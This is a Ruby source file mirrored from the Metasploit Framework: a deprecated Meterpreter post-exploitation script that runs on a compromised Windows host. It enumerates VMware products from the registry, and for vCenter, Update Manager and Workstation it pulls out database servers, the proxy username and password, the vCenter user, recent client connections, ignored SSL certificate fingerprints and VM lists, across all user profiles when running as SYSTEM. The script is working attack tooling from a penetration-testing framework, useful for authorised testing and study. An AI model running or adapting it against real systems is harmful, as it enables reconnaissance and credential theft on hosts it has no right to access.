mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-07-18 18:31:41 +02:00
331 lines
13 KiB
Ruby
331 lines
13 KiB
Ruby
##
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
|
# If you'd like to improve this script, please try to port it as a post
|
|
# module instead. Thank you.
|
|
##
|
|
|
|
|
|
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
|
#-------------------------------------------------------------------------------
|
|
################## Variable Declarations ##################
|
|
@client = client
|
|
|
|
opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false,"Help menu." ]
|
|
)
|
|
|
|
opts.parse(args) { |opt, idx, val|
|
|
case opt
|
|
when "-h"
|
|
print_line("vmware_enum -- Enumerates VMware Configurations for VMware Products")
|
|
print_line("USAGE: run vmware_enum")
|
|
print_line(opts.usage)
|
|
raise Rex::Script::Completed
|
|
end
|
|
}
|
|
|
|
def check_prods()
|
|
key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\VMware, Inc.', KEY_READ)
|
|
sfmsvals = key.enum_key
|
|
print_status("The Following Products are installed on this host:")
|
|
sfmsvals.each do |p|
|
|
print_status("\t#{p}")
|
|
end
|
|
return sfmsvals
|
|
end
|
|
|
|
def check_vmsoft
|
|
installed = false
|
|
key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE', KEY_READ)
|
|
sfmsvals = key.enum_key
|
|
if sfmsvals.include?("VMware, Inc.")
|
|
print_status("VMware Products are Installed in Host")
|
|
installed = true
|
|
else
|
|
print_error("No VMware Products where found in this Host.")
|
|
end
|
|
key.close
|
|
return installed
|
|
end
|
|
|
|
def enum_vcenter
|
|
print_status("Information about Virtual Center:")
|
|
vc_dbuser = nil
|
|
vc_dbencpass = nil
|
|
vc_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","InstalledVersion")
|
|
vc_serial = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","Serial")
|
|
vc_dbinstance = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBInstanceName")
|
|
vc_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBServerType")
|
|
vc_tomcatver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\Tomcat","Version")
|
|
vc_type = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","GroupType")
|
|
vc_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","1")
|
|
vc_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","4")
|
|
# vc_odctrustcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname}","TrustedConnection")
|
|
# print_line("*")
|
|
# if vc_odctrustcon.to_i != 1
|
|
# vc_dbuser = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","2")
|
|
# print_line("*")
|
|
# vc_dbencpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","3")
|
|
# print_line("*")
|
|
# end
|
|
vc_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Database")
|
|
vc_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Server")
|
|
print_status("\tVersion: #{vc_version}")
|
|
print_status("\tSerial: #{vc_serial}")
|
|
print_status("\tvCenter Type: #{vc_type}")
|
|
print_status("\tTomcat Version: #{vc_tomcatver}")
|
|
print_status("\tDatabase Instance: #{vc_dbinstance}")
|
|
print_status("\tDatabase Type: #{vc_dbtype}")
|
|
print_status("\tDatabase Name: #{vc_dbname}")
|
|
print_status("\tDatabase Server: #{vc_dbserver}")
|
|
print_status("\tODBC Name: #{vc_odbcname}")
|
|
print_status("\tODBC Type: #{vc_odbctype}")
|
|
# if vc_odctrustcon.to_i != 1
|
|
# print_status("\tODBC Username: #{vc_dbuser}")
|
|
# print_status("\tODBC Password: #{vc_dbencpass}")
|
|
# end
|
|
end
|
|
|
|
def enum_viclient
|
|
print_status("Information about VMware VI Client:")
|
|
vi_pluggins = nil
|
|
begin
|
|
vi_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\4.0","InstalledVersion")
|
|
vi_pluggins = registry_enumvals("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\Plugins")
|
|
rescue
|
|
end
|
|
print_status("\tVersion: #{vi_version}")
|
|
if vi_pluggins
|
|
vi_pluggins.each do |pi|
|
|
if pi=~ /Converter/
|
|
print_status("\tPlugin: VMware Converter")
|
|
elsif pi =~/UM/
|
|
print_status("\tPlugin: VMware Update Manager")
|
|
else
|
|
print_status("\tPlugin: #{pi}")
|
|
end
|
|
end
|
|
end
|
|
|
|
if not is_system?
|
|
recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",")
|
|
print_status("Recent VI Client Connections:")
|
|
recentconns.each do |c|
|
|
print_status("\t#{c}")
|
|
end
|
|
ignore_ssl = registry_enumkeys("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore")
|
|
if ignore_ssl.length > 0
|
|
print_status("\tIgnored SSL Certs for")
|
|
ignore_ssl.each do |issl|
|
|
ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl)
|
|
print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}")
|
|
end
|
|
|
|
end
|
|
else
|
|
user_sid = []
|
|
key = "HKU\\"
|
|
root_key, base_key = @client.sys.registry.splitkey(key)
|
|
open_key = @client.sys.registry.open_key(root_key, base_key)
|
|
keys = open_key.enum_key
|
|
keys.each do |k|
|
|
user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/
|
|
end
|
|
user_sid.each do |us|
|
|
begin
|
|
enumed_user = registry_getvaldata("HKU\\#{us}\\Volatile Environment","USERNAME")
|
|
print_status("\tRecent VI Client Connections for #{enumed_user}:")
|
|
recentconns = registry_getvaldata("HKU\\#{us}\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",")
|
|
recentconns.each do |c|
|
|
print_status("\t#{c}")
|
|
end
|
|
ignore_ssl = registry_enumkeys("HKU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore")
|
|
if ignore_ssl.length > 0
|
|
print_status("\tIgnored SSL Certs for #{enumed_user}:")
|
|
ignore_ssl.each do |issl|
|
|
ssl_key = registry_getvaldata("HCU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl)
|
|
print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}")
|
|
end
|
|
|
|
end
|
|
rescue
|
|
print_status("\tUser appears to have not used the software.")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def enum_vum
|
|
print_status("Information about VMware Update Manager:")
|
|
begin
|
|
vum_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","InstalledVersion")
|
|
vum_server = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VUMServer")
|
|
vum_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DBServerType")
|
|
vum_direct2web = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DirectWebAccess")
|
|
vum_useproxy = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","UseProxy")
|
|
vum_proxyserver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyServer")
|
|
vum_proxyport = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPort")
|
|
vum_proxyuser = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyUserName")
|
|
vum_proxypass = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPassword")
|
|
vum_vcentersrv = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCServer")
|
|
vum_vcenterusr = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCUserName")
|
|
vum_patchstore = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","PatchStore")
|
|
vum_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","1")
|
|
vum_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","4")
|
|
vum_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Database")
|
|
vum_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Server")
|
|
# vum_trustedcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","TrustedConnection")
|
|
# if vum_trustedcon.to_i != 1
|
|
# vum_odbcusename = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","2")
|
|
# vum_odbcpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","3")
|
|
# end
|
|
print_status("\tVersion: #{vum_version}")
|
|
print_status("\tServer: #{vum_server}")
|
|
print_status("\tPatch Store: #{vum_patchstore}")
|
|
print_status("\tDatabse Type: #{vum_dbtype}")
|
|
print_status("\tUses Proxy: #{vum_useproxy}")
|
|
print_status("\tProxy User: #{vum_proxyuser}")
|
|
print_status("\tProxy Password: #{vum_proxypass}")
|
|
print_status("\tVirtual Center: #{vum_vcentersrv}")
|
|
print_status("\tVirtual Center User: #{vum_vcenterusr}")
|
|
print_status("\tProxy Server: #{vum_proxyserver}:#{vum_proxyport}")
|
|
print_status("\tDatabase Name: #{vum_dbname}")
|
|
print_status("\tDatabase Server: #{vum_dbserver}")
|
|
print_status("\tODBC Name: #{vum_odbcname}")
|
|
print_status("\tODBC Type: #{vum_odbctype}")
|
|
# print_status("\t ODBC Trusted: #{vum_trustedcon}")
|
|
# if vum_trustedcon.to_i != 1
|
|
# print_status("\tODBC Username: #{vum_odbcusename}")
|
|
# print_status("\tODBC Password: #{vum_odbcpass}")
|
|
# end
|
|
rescue ::Exception => e
|
|
print_status("Error: #{e.class} #{e}")
|
|
end
|
|
|
|
end
|
|
|
|
def enum_vdm
|
|
print_status("Information about VMware VDM Broker:")
|
|
vdm_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VDM","ProductVersion")
|
|
print_status("\tVersion: #{vdm_version}")
|
|
end
|
|
|
|
def enum_powercli
|
|
print_status("Information about PowerCLI:")
|
|
pcli_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstalledVersion")
|
|
pcli_install_path = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstallPath")
|
|
begin
|
|
pcli_poweshell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\WindowsPowerShell","ExecutionPolicy")
|
|
rescue
|
|
pcli_poweshell_policy = "Restricted"
|
|
end
|
|
print_status("\tVersion: #{pcli_version}")
|
|
print_status("\tInstalled Pat: #{pcli_install_path}")
|
|
print_status("\tPowershell Execution Policy: #{pcli_poweshell_policy}")
|
|
end
|
|
|
|
#Function to enumerate the users if running as SYSTEM
|
|
def enum_users
|
|
os = @client.sys.config.sysinfo['OS']
|
|
users = []
|
|
path4users = ""
|
|
sysdrv = @client.sys.config.getenv('SystemDrive')
|
|
|
|
if os =~ /7|Vista|2008/
|
|
path4users = sysdrv + "\\users\\"
|
|
profilepath = "\\AppData\\Local\\VMware\\"
|
|
else
|
|
path4users = sysdrv + "\\Documents and Settings\\"
|
|
profilepath = "\\Application Data\\VMware\\"
|
|
end
|
|
|
|
if @client.sys.config.is_system?
|
|
print_status("Running as SYSTEM extracting user list..")
|
|
@client.fs.dir.foreach(path4users) do |u|
|
|
userinfo = {}
|
|
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
|
userinfo['username'] = u
|
|
userinfo['userappdata'] = path4users + u + profilepath
|
|
users << userinfo
|
|
end
|
|
else
|
|
userinfo = {}
|
|
uservar = @client.sys.config.getenv('USERNAME')
|
|
userinfo['username'] = uservar
|
|
userinfo['userappdata'] = path4users + uservar + profilepath
|
|
users << userinfo
|
|
end
|
|
return users
|
|
end
|
|
def enum_vihosupdt
|
|
hosts = []
|
|
print_status("Information about VMware vSphere Host Update Utility:")
|
|
enum_users.each do |u|
|
|
print_status("\tESX/ESXi Hosts added for Updates for user #{u['username']}:")
|
|
begin
|
|
@client.fs.dir.foreach(u['userappdata']+"VIU\\hosts\\") do |vmdir|
|
|
next if vmdir =~ /^(\.|\.\.)$/
|
|
print_status("\t#{vmdir}")
|
|
end
|
|
rescue
|
|
end
|
|
end
|
|
end
|
|
|
|
def enum_vmwarewrk
|
|
config = ""
|
|
name = ""
|
|
print_status("Enumerating VMware Workstation VM's:")
|
|
fav_file = ""
|
|
enum_users.each do |u|
|
|
print_status("\tVM's for user #{u['username']}:")
|
|
path = u['userappdata'].gsub(/Local/,"Roaming")
|
|
account_file = @client.fs.file.new(path + "\\favorites.vmls", "rb")
|
|
until account_file.eof?
|
|
fav_file << account_file.read
|
|
end
|
|
end
|
|
fav_file.each_line do |l|
|
|
|
|
if l =~ /config/
|
|
print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}")
|
|
end
|
|
if l =~ /Name/
|
|
print_status("\tVM Name: #{l.scan(/vmlist\d*.DisplayName \= (\".*\")/)}")
|
|
print_status("")
|
|
end
|
|
end
|
|
end
|
|
if client.platform == 'windows'
|
|
if check_vmsoft
|
|
vmware_products = check_prods()
|
|
if vmware_products.include?("VMware VirtualCenter")
|
|
enum_vcenter
|
|
end
|
|
if vmware_products.include?("VMware Virtual Infrastructure Client")
|
|
enum_viclient
|
|
end
|
|
if vmware_products.include?("VMware Update Manager")
|
|
enum_vum
|
|
end
|
|
|
|
if vmware_products.include?("VMware VDM")
|
|
enum_vdm
|
|
end
|
|
if vmware_products.include?("VMware vSphere PowerCLI")
|
|
enum_powercli
|
|
end
|
|
if vmware_products.include?("VMware vSphere Host Update Utility 4.0")
|
|
enum_vihosupdt
|
|
end
|
|
if vmware_products.include?("VMware Workstation")
|
|
enum_vmwarewrk
|
|
end
|
|
else
|
|
print_status("No VMware Products appear to be installed in this host")
|
|
end
|
|
else
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
raise Rex::Script::Completed
|
|
end
|